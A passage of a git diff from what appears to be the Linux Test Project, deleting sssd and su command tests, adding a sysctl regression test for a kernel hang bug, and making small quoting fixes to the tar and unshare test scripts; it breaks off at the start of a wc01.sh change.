-		tst_resm TPASS "sssd: user home dir is $LTPTMP/noshell."
-	else
-		tst_resm TFAIL "sssd: user home dir should be $LTPTMP/noshell."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case3()
-{
-	export TST_COUNT=3
-
-	tst_resm TINFO "test use shell_fallback when set allowed_shells"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[nss\]/ a\allowed_shells = $LTPTMP/noshell" $CONFIG_FILE
-	sleep 1
-
-	sss_usermod -s $LTPTMP/noshell $username
-
-	restart_sssd_daemon
-
-	# When the shell is in the allowed_shells list but not in "/etc/shells"
-	# use the value of the shell_fallback parameter.
-	# shell_fallback's default value is /bin/sh.
-	getent passwd $username@LOCAL | grep "/bin/sh" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is /bin/sh."
-	else
-		tst_resm TFAIL "sssd: user home dir should be /bin/sh."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case4()
-{
-	export TST_COUNT=4
-
-	tst_resm TINFO "test use shell_fallback when set allowed_shells"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[nss\]/ a\allowed_shells = $LTPTMP/noshell" $CONFIG_FILE
-	sed -i -e "/\[nss\]/ a\shell_fallback = $line_shell" $CONFIG_FILE
-	sleep 1
-
-	sss_usermod -s $LTPTMP/noshell $username
-
-	restart_sssd_daemon
-
-	# When the shell is in the allowed_shells list but not in "/etc/shells"
-	# use the value of the shell_fallback parameter.
-	# shell_fallback's value is set $line_shell.
-	getent passwd $username@LOCAL | grep "$line_shell" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is $line_shell."
-	else
-		tst_resm TFAIL "sssd: user home dir should be $line_shell."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case5()
-{
-	export TST_COUNT=5
-
-	tst_resm TINFO "test use shell_fallback when set vetoed_shells"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[nss\]/ a\vetoed_shells = $line_shell" $CONFIG_FILE
-	sleep 1
-
-	sss_usermod -s $line_shell $username
-
-	restart_sssd_daemon
-
-	# When the shell is in the vetoed_shells list,
-	# use the value of the shell_fallback parameter.
-	# shell_fallback's default value is /bin/sh.
-	getent passwd $username@LOCAL | grep "/bin/sh" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is /bin/sh."
-	else
-		tst_resm TFAIL "sssd: user home dir should be /bin/sh."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case6()
-{
-	export TST_COUNT=6
-
-	tst_resm TINFO "test use nologin when not in allowed_shells"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[nss\]/ a\allowed_shells = $line_shell" $CONFIG_FILE
-	sleep 1
-
-	sss_usermod -s $LTPTMP/noshell $username
-
-	restart_sssd_daemon
-
-	# When the shell is not in the allowed_shells list, and not in
-	# "/etc/shells", a nologin shell is used.
-	getent passwd $username@LOCAL | grep "/sbin/nologin" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is /sbin/nologin."
-	else
-		tst_resm TFAIL "sssd: user home dir should be /sbin/nologin."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-export TST_TOTAL=6
-export TCID=sssd03
-
-grep -v -w -E "nologin|sh|bash" /etc/shells > $LTPTMP/all_shells
-line_shell=`sed -n '1p' $LTPTMP/all_shells`
-if [ -z "$line_shell" ]; then
-	rm -f $LTPTMP/all_shells
-	tst_brkm TCONF NULL "Please install another shell."
-	return 0
-fi
-rm -f $LTPTMP/all_shells
-
-TFAILCNT=0
-username="sssd_test_user"
-
-make_config_file
-# make sure config file is OK
-sleep 1
-restart_sssd_daemon
-sss_useradd $username
-
-for i in $(seq 1 $TST_TOTAL); do
-	sssd_case$i
-done
-
-sss_userdel $username
-cleanup ${TFAILCNT:=0}
diff --git a/testcases/commands/su/Makefile b/testcases/commands/su/Makefile
deleted file mode 100644
index da2ff03..0000000
--- a/testcases/commands/su/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    commands/su testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= su01 su01_s1 su_set_passwd
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/su/su01 b/testcases/commands/su/su01
deleted file mode 100755
index 34386d9..0000000
--- a/testcases/commands/su/su01
+++ /dev/null
@@ -1,181 +0,0 @@
-#!/bin/bash
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2003, 2004
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : su
-#
-#  PURPOSE: Tests the basic functionality of `su`.
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03    Dustin Kirkland (dkirklan@us.ibm.com)
-#    03/03    Jerone Young    (jeroney@us.ibm.com)
-#    10/01/04 Kris Wilson     Port to Red Hat
-#
-#*********************************************************************
-
-echo "This script contains bashism that needs to be fixed!"
-
-if [ -z ${TCbin} ]
-then
-   export TCbin=$PWD
-fi
-
-export TEST_USER1="su_usr1"
-
-tvar=${MACHTYPE%-*}
-tvar=${tvar#*-}
-
-# need to export tvar for su01_s1
-export tvar
-printf "Machine type is: $tvar\n\n"
-
-if [ "$tvar" = "redhat" -o "$tvar" = "redhat-linux" ]
-# Need to also set group for TEST_USER2
-then
-export TEST_USER1_GROUP="wheel"
-export TEST_USER2_GROUP="wheel"
-else
-export TEST_USER1_GROUP="trusted"
-export TEST_USER2_GROUP="trusted"
-fi
-export TEST_USER1_PASSWD="eal"
-export TEST_USER1_ENCRYPTED_PASSWD="42VmxaOByKwlA"
-export TEST_USER1_NEW_PASSWD="a_very_good_and_long_password"
-export TEST_USER1_HOMEDIR="/home/$TEST_USER1"
-
-export TEST_USER2="su_usr2"
-# Group needs to be trusted for Red Hat.
-#export TEST_USER2_GROUP="trusted"
-export TEST_USER2_PASSWD="eal"
-export TEST_USER2_ENCRYPTED_PASSWD="42VmxaOByKwlA"
-export TEST_USER2_HOMEDIR="/home/$TEST_USER2"
-
-#This is for enviroment test
-export TEST_LINE="YOU_HAVE_THE_VARIABLE"
-export TEST_ENV_FILE="/tmp/TEST_ENV_FILE_ROOT"
-export TEST_ENV_FILE_USER="/tmp/TEST_ENV_FILE_USER"
-export TEST_ENV_FILE2="/tmp/TEST_ENV_FILE_ROOT2"
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup(){
-
-#REMOVE ANY TEMPOARY FILES THAT MAY STILL BE AROUND
-rm -f $TEST_ENV_FILE_USER > /dev/null 2>&1
-rm -f $TEST_ENV_FILE2 > /dev/null 2>&1
-rm -f $TEST_ENV_FILE > /dev/null 2>&1
-
-
-#Create 1st test user
-    #erase user if he may exist , so we can have a clean en
-        rm -rf /home/$TEST_USER1
-        getent passwd $TEST_USER1 > /dev/null 2>&1 && userdel $TEST_USER1
-	sleep 1
-
-        useradd -m -g users $TEST_USER1
-        if [ $? != 0 ]
-        then {
-                echo "Could not add test user $TEST_USER1."
-                exit 1
-        }
-        fi
-
-		usermod -G users,$TEST_USER1_GROUP $TEST_USER1
-
-	#create users home directory (SLES 8 does not do this, even when specified in adduser)
-# Only do this if not RH; RH creates the directory.
-	if [ "$tvar" != "redhat" -a "$tvar" != "redhat-linux" ]
-	then {
-          USER_UID=`id -u $TEST_USER1`
-          USER_GID=`id -g $TEST_USER1`
-          mkdir -p $TEST_USER1_HOMEDIR
-          chown -R $USER_UID.$USER_GID $TEST_USER1_HOMEDIR
-	}
-	fi
-
-        usermod -p $TEST_USER1_ENCRYPTED_PASSWD $TEST_USER1 > /dev/null 2>&1
-        if [ $? != 0 ]
-        then {
-                echo "Could not set password for test user $TEST_USER1"
-                exit 1
-        }
-        fi
-
-#Create 2nd test user
-	#erase user if he may exist , so we can have a clean en
-        rm -rf /home/$TEST_USER2
-        getent passwd $TEST_USER2 > /dev/null 2>&1 && userdel $TEST_USER2
-	sleep 1
-
-        useradd -m -g users $TEST_USER2
-
-        if [ $? != 0 ]
-        then {
-                echo "Could not add test user $TEST_USER2."
-                exit 1
-        }
-        fi
-
-		usermod -G users,$TEST_USER2_GROUP $TEST_USER2
-
-	#create users home diretory (SLES 8 does not do this, even when specified in adduser)
-# Only do this if not RH; RH creates the directory.
-        if [ "$tvar" != "redhat" -a "$tvar" != "redhat-linux" ]
-        then {
-          USER_UID=`id -u $TEST_USER2`
-          USER_GID=`id -g $TEST_USER2`
-          mkdir -p $TEST_USER2_HOMEDIR
-          chown -R $USER_UID.$USER_GID $TEST_USER2_HOMEDIR
-	}
-	fi
-
-        usermod -p $TEST_USER2_ENCRYPTED_PASSWD $TEST_USER2 > /dev/null 2>&1
-        if [ $? != 0 ]
-        then {
-                echo "Could not set password for test user $TEST_USER2"
-                exit 1
-        }
-        fi
-}
-
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-
-do_cleanup() {
-        rm -rf /home/$TEST_USER1
-        rm -rf /home/$TEST_USER2
-	userdel $TEST_USER1
-	userdel $TEST_USER2
-	#REMOVE ANY TEMPOARY FILES THAT MAY STILL BE AROUND
-	rm -f $TEST_ENV_FILE_USER > /dev/null 2>&1
-	rm -f $TEST_ENV_FILE2 > /dev/null 2>&1
-	rm -f $TEST_ENV_FILE > /dev/null 2>&1
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  MAIN
-#-----------------------------------------------------------------------
-do_setup
-/bin/su $TEST_USER1 -c ${TCbin}/su01_s1
-EXIT_CODE=$?
-do_cleanup
-exit $EXIT_CODE
diff --git a/testcases/commands/su/su01_s1 b/testcases/commands/su/su01_s1
deleted file mode 100755
index 313207b..0000000
--- a/testcases/commands/su/su01_s1
+++ /dev/null
@@ -1,486 +0,0 @@
-#! /usr/bin/expect -f
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2003, 2004, 2007
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : su
-#
-#  PURPOSE: Tests the basic functionality of `su`.
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#         The user invoking this test script must NOT be "root".
-#     	  The PASSWD variable should be set prior to execution
-#
-#  HISTORY:
-#     03/03     Dustin Kirkland (dkirklan@us.ibm.com)
-#     03/03     Jerone Young    (jeroney@us.ibm.com)
-#     10/01/04  Kris Wilson     Skip test 7 if RedHat; no -e option.
-#     05/23/07  Kris Wilson     Make test 7 work for SLES.
-########################################################################
-
-# The root user cannot succesfully execute su test because the root user
-# is able to become anyone without entering passwords
-set whoami [ exec whoami ]
-if { $whoami=="root" } {
-  send_user "ERROR: You must execute the 'su' tests as a non-root user\n"
-  exit 1
-}
-
-#Grab input from enviroment
-if [info exists env(PASSWD)] {
-  	set PASSWD $env(PASSWD)
-} else {
-	send_user "YOU NEED TO SET ENVIROMENT VARIABLE PASSWD. \n"
-	exit 1
-}
-
-if [info exists env(TEST_USER2)] {
-  set USER1 $env(TEST_USER2)
-} else {
-  	send_user "YOU MUST SET ENVIRONMENT VARIABLE TEST_USER2"
-  	exit 1
-}
-
-# Need the release type from su01
-if [info exists env(tvar)] {
-  set distro $env(tvar)
-} else {
-        send_user "YOU MUST SET ENVIORMENT VARIABLE tvar"
-        exit 1
-}
-
-if [info exists env(TEST_USER2_PASSWD)] {
-  set USER1_PASSWORD $env(TEST_USER2_PASSWD)
-} else {
-  send_user "YOU MUST SET ENVIROMENT VARIABLE TEST_USER2_PASSWD"
-  exit 1
-}
-
-if [info exists env(TEST_LINE)] {
-  set TEST_LINE_ENV $env(TEST_LINE)
-} else {
-  send_user "YOU MUST SET ENVIROMENT VARIABLE TEST_LINE"
-  exit 1
-}
-
-
-if [info exists env(TEST_ENV_FILE)] {
-  set TEST_ENV_FILE $env(TEST_ENV_FILE)
-} else {
-  send_user "YOU MUST SET ENVIROMENT VARIABLE TEST_ENV_FILE_USER"
-  exit 1
-}
-
-if [info exists env(TEST_ENV_FILE2)] {
-  set TEST_ENV_FILE2 $env(TEST_ENV_FILE2)
-} else {
-  send_user "YOU MUST SET ENVIROMENT VARIABLE TEST_ENV_FILE2"
-  exit 1
-}
-
-
-if [info exists env(TEST_ENV_FILE_USER)] {
-  set TEST_ENV_FILE_USER1 $env(TEST_ENV_FILE_USER)
-} else {
-  send_user "YOU MUST SET ENVIROMENT VARIABLE TEST_ENV_FILE_USER"
-  exit 1
-}
-
-if [info exists env(TEST_USER1_NEW_PASSWD)] {
-  set USER1_NEW_PASSWORD $env(TEST_USER1_NEW_PASSWD)
-} else {
-  send_user "YOU MUST SET ENVIROMENT VARIABLE TEST_USER1_NEW_PASSWD"
-  exit 1
-}
-
-
-set script_exit_code 0
-set i_can_root 0
-
-send_user "Starting 'su' Testing\n"
-
-# 1) su with no parameters and correct password.
-#    - The su command should return a result code of 0
-#    - The user ID should be root
-#    - The user environment should be that of the invoking process
-#    - The command should create a new shell with a new process ID
-
-send_user "\nTEST: su with no parameters and correct password\n"
-
-set i_am_root 0
-# run "whoami" to test user ID inside su shell
-spawn /bin/su -c whoami
-set i_am_root 0
-expect {
-  "Password:" {
-  	send "$PASSWD\r"
-    expect {
-      "root" { set i_am_root 1
-		set i_can_root 1
-	 }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-
-#Check that su user has same enviroment as current user
-set i_have_env 0
-set test_env_var " "
-if { $i_am_root==1 } {
-	spawn su -c "/bin/su root -c \"echo \\\$TEST_LINE > $TEST_ENV_FILE\""
-	expect {
-		 "Password:" {
-			send "$PASSWD\r"
-		}
-	}
-	expect eof
-	wait
-
-	set test_env_var [exec cat $TEST_ENV_FILE]
-
-	if  { $test_env_var==$TEST_LINE_ENV } {
-		set i_have_env 1
-	} else {
-		send_user "/bin/su with correct password (FAILED), the enviroment was not kept after su.\n"
-	}
-}
-
-
-#this variable is for any test, it can't run correctly if this test fails
-set test_one_passed 0
-
-if { ($i_am_root==1) && ($exit_code==0) && ($pid>0) && ($i_have_env==1) } {
-	send_user "/bin/su with correct password & enviroment check ( PASSED )\n"
-	set test_one_passed 1
-} else {
-  	send_user "/bin/su with correct password ( FAILED )\n"
-    set script_exit_code 1
-}
-
-
-# 2) su with no parameters and incorrect password.
-# 	  - The su command should return a result code of non-0
-#     - The user should be returned to the invoking shell
-#     - An appropriate failure message should be displayed
-
-send_user "\nTEST: su with no parameters and incorrect password \n"
-
-set displayed_error 0
-# run "whoami" to test user ID inside su shell
-spawn /bin/su -c whoami
-set displayed_error 0
-expect {
-  "Password:" {
-    send "wrong_$PASSWD\r"
-    expect {
-				"su: incorrect password" { set displayed_error 1 }
-				"su: Authentication failure" { set displayed_error 1 }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-
-#Added for arm architecture
-
-send_user "\ndisplayed_error=$displayed_error"
-send_user "\nexit_code=$exit_code"
-send_user "\npid=$pid\n"
-
-if { ($displayed_error==1) && ($exit_code!=0) && ($pid>0) } {
-  send_user "/bin/su with incorrect password ( PASSED )\n"
-} else {
-  send_user "/bin/su with incorrect password ( FAILED )\n"
-  set script_exit_code 1
-}
-
-# 3) su to root using name parameter and correct password.
-# - The su command should return a result code of 0
-# - The user ID should be root
-# - The user environment should be that of the invoking process
-# - The command should create a new shell with a new process ID
-
-send_user "\nTEST: su to root using name parameter and correct password. \n"
-
-set i_am_root 0
-# run "whoami" to test user ID inside su shell
-spawn /bin/su -l root -c whoami
-expect {
-  "Password:" {
-    send "$PASSWD\r"
-    expect {
-				"root" { set i_am_root 1 }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-
-
-#Check that su user does not have the same enviroment as current user
-set i_have_env 0
-set test_env " "
-if { $i_am_root==1 } {
-     	spawn /bin/sh -c "/bin/su -l root -c \"echo \"\\\$TEST_LINE > $TEST_ENV_FILE2\"\""
-        expect {
-                 "Password:" {
-			send "$PASSWD\r"
-                }
-        }
-
-	set test_env [exec cat $TEST_ENV_FILE2]
-
-	if  { $test_env==$TEST_LINE_ENV } {
-        	set i_have_env 1
- 		send_user "/bin/su -l root with correct password (FAILED), because it did not change enviroment\n"
-	}
-}
-
-
-if { ($i_am_root==1) && ($exit_code==0) && ($pid>0) && ($i_have_env==0) } {
-  send_user "/bin/su -l root with correct password & enviroment check ( PASSED )\n"
-} else {
-  send_user "/bin/su -l root with correct password ( FAILED )\n"
-  set script_exit_code 1
-}
-
-
-# 4) su to root with name parameter and incorrect password.
-#    - The su command should return a result code of non-0
-#    - The user should be returned to the invoking shell
-#    - An appropriate failure message should be displayed
-
-send_user "\nTEST: su to root with name parameter and incorrect password. \n"
-
-set displayed_error 0
-# run "whoami" to test user ID inside su shell
-spawn /bin/su -l root -c whoami
-expect {
-  "Password:" {
-    send "wrong_$PASSWD\r"
-    expect {
-				"su: incorrect password" { set displayed_error 1 }
-				"su: Authentication failure" { set displayed_error 1 }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-if { ($displayed_error==1) && ($exit_code!=0) && ($pid>0) } {
-  send_user "/bin/su -l root with incorrect password ( PASSED )\n"
-} else {
-  send_user "/bin/su -l root with incorrect password ( FAILED )\n"
-  set script_exit_code 1
-}
-
-
-# 5) su to user1 with name parameter and correct password.
-#    - The su command should return a result code of 0
-#    - The user ID should be user1
-#    - The user environment should be that of the invoking process, in this case,that of user1
-#    - The command should create a new shell with a new process ID
-#    - Run "whoami" to test user ID inside su shell
-
-send_user "TEST: su to user1 with name parameter and correct password.\n"
-
-set i_am_correct 0
-spawn /bin/su -l $USER1 -c whoami
-expect {
-  "Password:" {
-    send "$USER1_PASSWORD\r"
-    expect {
-				"$USER1\r" { set i_am_correct 1 }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-
-set i_have_env 0
-set test_env_var 0
-#Check to see that su user does not have the same enviroment
-if { $i_am_correct==1 } {
-        spawn /bin/sh -c "/bin/su -l $USER1 -c \"echo \"\\\$TEST_LINE > $TEST_ENV_FILE_USER1\"\""
-        expect {
-                 "Password:" {
-                                send "$USER1_PASSWORD\r"
-                }
-        }
-
-}
-
-set test_env_var [exec cat $TEST_ENV_FILE_USER1]
-
-set i_have_env 0
-if  { $test_env_var==$TEST_LINE_ENV } {
-        set i_have_env 1
-        send_user "/bin/su -l $USER1 with correct password (FAILED), because it did not change enviroment\n"
-	set i_have_env 0
-	if  { $test_env_var==$TEST_LINE_ENV } {
-        	set i_have_env 1
-        	send_user "su -l $USER1 with correct password (FAILED), because it did not change enviroment\n"
-	}
-}
-
-if { ($i_am_correct==1) && ($exit_code==0) && ($pid>0) && ($i_have_env==0) } {
-  send_user "/bin/su -l $USER1 with correct password & enviroment check ( PASSED )\n"
-} else {
-  send_user "/bin/su -l $USER1 with correct password ( FAILED )\n"
-  set script_exit_code 1
-}
-
-
-
-# 6)su to user1 with name parameter and incorrect password.
-#    - The su command should return a result code of non-0
-#    - The user should be returned to the invoking shell
-#    - An appropriate failure message should be displayed.
-
-send_user "TEST: su to user1 with name parameter and incorrect password.\n"
-spawn /bin/su -l $USER1 -c whoami
-set displayed_error 0
-expect {
-  "Password:" {
-    send "wrong_$USER1_PASSWORD\r"
-    expect {
-				"su: incorrect password" { set displayed_error 1 }
-				"su: Authentication failure" { set displayed_error 1 }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-if { ($displayed_error==1) && ($exit_code!=0) && ($pid>0) } {
-  	send_user "/bin/su -l $USER1 with incorrect password ( PASSED )\n"
-} else {
-  	send_user "/bin/su -l $USER1 with incorrect password ( FAILED )\n"
-	set script_exit_code 1
-}
-
-
-# 7) su to user1 with the user1 password expired
-#    - user1 should not be allowed to log in
-#    - The su command should return a result code of non-0
-#    - The user should be returned to the invoking shell
-#    - An appropriate failure message should be displayed.
-
-# Become root and expire $USER1 password
-
-#  Skip this if Red Hat; -e option not supported.
-if { $distro != "redhat" && $distro != "redhat-linux" } {
-
-if { $test_one_passed==1} {
-send_user "TEST:  su to user1 with the user1 password expired.\n"
-
-spawn /bin/su -l root -c "passwd -e $USER1"
-expect {
-  "Password:" {
-    send "$PASSWD\r"
-    expect {
-				"Password expiry information changed."
-    }
-  }
-}
-
-set i_am_correct 0
-spawn /bin/su -l $USER1 -c whoami
-expect {
-  "Password:" {
-    send "$USER1_PASSWORD\r"
-    expect {
-        -re "current.*password|Old Password" {
-        send "wrong_$USER1_PASSWORD\r"
-        expect {
-       	  -re "current.*password|Old Password" {
-          send "wrong_$USER1_PASSWORD\r"
-            expect {
-								"su: incorrect password" { set i_am_correct 1 }
-								"su: Authentication failure" { set i_am_correct 1 }
-								"su: Authentication token manipulation error" { set i_am_correct 1 }
-            }
-          }
-					"su: incorrect password" { set i_am_correct 1 }
-					"su: Authentication failure" { set i_am_correct 1 }
-					"su: Authentication token manipulation error" { set i_am_correct 1 }
-        }
-      }
-    }
-  }
-}
-
-# capture result code
-set codes [wait]
-set pid [lindex $codes 0]
-set exit_code [lindex $codes 3]
-if { ($i_am_correct==1) && ($exit_code!=0) && ($pid>0) } {
-  	send_user "/bin/su -l $USER1 with expired correct password ( PASSED )\n"
-} else {
-  	send_user "/bin/su -l $USER1 with expired correct password ( FAILED )\n"
-	set script_exit_code 1
-}
-
-
-#Become root and set $USER1 password back to previous value
-spawn /bin/su -l root -c "passwd $USER1"
-expect {
-  "Password: " {
-    send "$PASSWD\r"
-    expect {
-     "Enter new password: " {
-        send "$USER1_NEW_PASSWORD\r"
-        expect {
-          "Re-type new password: " {
-            send "$USER1_NEW_PASSWORD\r"
-            expect {
-              "Password changed" {}
-            }
-          }
-        }
-      }
-    }
-  }
-}
-
-} else {
-
-	send_user "TEST:  su to user1 with the user1 password expired. (FAILED),see more next line.\n"
-	send_user "This test cannot be run because the first test to su as root failed\n"
-
-}
-# If RH let the tester know why only 6 tests were run.
-} else {
-  send_user "TEST 7 skipped if running on Red Hat; -e not supported \n"
-}
-exit  $script_exit_code
diff --git a/testcases/commands/su/su_set_passwd b/testcases/commands/su/su_set_passwd
deleted file mode 100755
index e8f0d2f..0000000
--- a/testcases/commands/su/su_set_passwd
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/sh
-#
-# Set Password for a specific new user
-# This script should be run as 'root'
-#
-# Example:
-#		./su_set_passwd USER ENCRYPTED_PASSWD
-#
-
-USER=$1
-ENCRYPTED_PASSWD=$2
-
-usermod -p $ENCRYPTED_PASSWD $USER
-exit $?
diff --git a/testcases/commands/sysctl/Makefile b/testcases/commands/sysctl/Makefile
new file mode 100644
index 0000000..61ff705
--- /dev/null
+++ b/testcases/commands/sysctl/Makefile
@@ -0,0 +1,25 @@
+#
+# Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= *.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/sysctl/sysctl01.sh b/testcases/commands/sysctl/sysctl01.sh
new file mode 100755
index 0000000..7522da5
--- /dev/null
+++ b/testcases/commands/sysctl/sysctl01.sh
@@ -0,0 +1,55 @@
+#!/bin/sh
+
+# Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+# This program is free software;  you can redistribute it and#or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
+# for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Description:
+# This is a regression test for invalid value of sysctl_sched_time_avg.
+# System will hang if user set sysctl_sched_time_avg to 0 on buggy kernel.
+#
+# The kernel bug has been fixed in kernel:
+# '5ccba44ba118("sched/sysctl: Check user input value of sysctl_sched_time_avg")'
+
+TST_TESTFUNC=sysctl_test
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="sysctl"
+
+. tst_test.sh
+
+sysctl_test()
+{
+	# With commit d00535d, sched_time_avg was renamed as sched_time_avg_ms
+	local dir="/proc/sys/kernel/"
+	[ -e "$dir""sched_time_avg_ms" ] && local name="sched_time_avg_ms"
+	[ -e "$dir""sched_time_avg" ] && local name="sched_time_avg"
+	[ -z "$name" ] && tst_brk TCONF \
+		"sched_time_avg(_ms) was not supported"
+
+	local orig_value=$(cat "$dir""$name")
+
+	sysctl -w "kernel.""$name"=0 >/dev/null 2>&1
+
+	local test_value=$(cat "$dir""$name")
+
+	if [ ${test_value} -eq ${orig_value} ]; then
+		tst_res TPASS "Setting $name failed"
+	else
+		tst_res TFAIL "Setting $name succeeded"
+		sysctl -w "kernel.""$name"=${orig_value} >/dev/null 2>&1
+	fi
+}
+
+tst_run
diff --git a/testcases/commands/tar/tar_tests.sh b/testcases/commands/tar/tar_tests.sh
index 7ac18a4..946e9c7 100755
--- a/testcases/commands/tar/tar_tests.sh
+++ b/testcases/commands/tar/tar_tests.sh
@@ -27,6 +27,8 @@
 TST_CNT=6
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="gzip bzip2"
+
 . tst_test.sh
 
 TAR_FILES="file1 file2 file3"
diff --git a/testcases/commands/unshare/unshare01.sh b/testcases/commands/unshare/unshare01.sh
index 71b50ba..075511f 100755
--- a/testcases/commands/unshare/unshare01.sh
+++ b/testcases/commands/unshare/unshare01.sh
@@ -81,9 +81,9 @@
 
 check_id()
 {
-	local act_id=$1
-	local exp_id=$2
-	local cmd=$3
+	local act_id="$1"
+	local exp_id="$2"
+	local cmd="$3"
 
 	if [ ${act_id} -ne ${exp_id} ]; then
 		tst_res TFAIL "$cmd got wrong uid/gid"
@@ -94,9 +94,9 @@
 
 check_mount()
 {
-	local tst_dir=$1
-	local exp_stat=$2
-	local cmd=$3
+	local tst_dir="$1"
+	local exp_stat="$2"
+	local cmd="$3"
 
 	case ${exp_stat} in
 	unmounted)
@@ -120,9 +120,9 @@
 
 unshare_test()
 {
-	local unshare_opts=$1
-	local verify_cmd=$2
-	local exp_result=$3
+	local unshare_opts="$1"
+	local verify_cmd="$2"
+	local exp_result="$3"
 
 	local unshare_cmd="unshare ${unshare_opts} ${verify_cmd}"
 
diff --git a/testcases/commands/wc/wc01.sh b/testcases/commands/wc/wc01.sh
index e72819c..74d69e2 100755
--- a/testcases/commands/wc/wc01.sh
+++ b/testcases/commands/wc/wc01.sh
@@ -40,7 +40,7 @@
 
